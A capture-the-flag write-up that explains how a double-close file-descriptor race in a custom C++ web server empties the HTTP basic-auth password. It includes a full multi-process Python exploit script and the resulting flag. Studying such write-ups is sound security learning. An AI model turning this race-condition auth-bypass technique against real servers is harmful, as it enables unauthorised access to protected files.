Tags: web pwn
Rating: 5.0
This challenge was a simple
(multi-threaded)
C++ web server ([source](https://hxp.io/assets/data/posts/69-sicher2/sicher2.cpp.txt))
featuring HTTP basic authentication for files in the `/secret/`
directory, which includes [`flag.html`](https://hxp.io/assets/data/posts/69-sicher2/flag.html).
Solvers had to circumvent the password check
(or figure out a way to get code execution
that I haven't discovered yet `:-)`).
At first glance, the server uses mostly modern C++ APIs
and there are no blatant security holes. The `b64decode()`
function perhaps looked a bit fishy, but does not contain
any (intentional `:-)`) vulnerabilities.
However, there is a subtle bug in the implementation of
the `opener` and `reader` classes: The destructor is
`virtual` in `opener` [and `reader`](https://stackoverflow.com/a/677649),
which means that [both destructors are called](https://stackoverflow.com/a/677623)
and therefore the `close()` is executed twice — so if
*between* the first and second `close()`, another
file is opened and assigned the same file descriptor,
it will erroneously be closed, which can be fatal:
Closing the `password.txt` file containing the
authentication credentials for the `/secret/` directory
*before* the password can be read by `reader::get()`
leads to an empty password!
At this point, the exploit strategy is remarkably simple:
Keep hammering the server with
a request for `/secret/flag.txt`
using the username `root`
and an empty password,
until one of the parallel executions
closes another's `password.txt`
file descriptor before the password is read.
At this point, the empty password is considered
correct and the `flag.html` file
is returned to the client.
Here's a slightly dirty Python script that performs this exploit:
```python
#!/usr/bin/env python3
import sys, socket, queue
from multiprocessing import Process, Queue
count = 5000
req = b'''GET / HTTP/1.1
GET /secret/flag.html HTTP/1.1
Authorization: Basic cm9vdDo=
'''
q = Queue()
def pwn():
for _ in range(3):
sock = socket.socket()
sock.settimeout(2)
sock.connect((sys.argv[1], int(sys.argv[2])))
for _ in range(count):
try:
sock.sendall(req)
except:
pass
s = b''
while s.count(b'HTTP/1.1') < count:
try:
tmp = sock.recv(0x100)
except socket.timeout:
tmp = b''
except Exception:
pass
if not tmp:
break
s += tmp
while b'\n' in s:
n = s.index(b'\n')
if 'hxp{' in s[:n].decode():
q.put(s[:n].decode())
return
s = s[n+1:]
if 'hxp{' in s.decode():
q.put(s.decode())
return
sock.close()
for _ in range(1000):
print('.', flush=True, end='', file=sys.stderr)
procs = []
for _ in range(4):
proc = Process(target=pwn, args=())
procs.append(proc)
proc.start()
for proc in procs:
proc.join()
try:
print(q.get_nowait())
sys.exit(0)
except queue.Empty:
pass
sys.exit(1)
```
After a few attempts, this gives the flag:
```
....... <marquee>hxp{s0rrY_w3_4Re_cL0s3D}</marquee>
```
@hxp, Do you use xinetd to load the cpp server?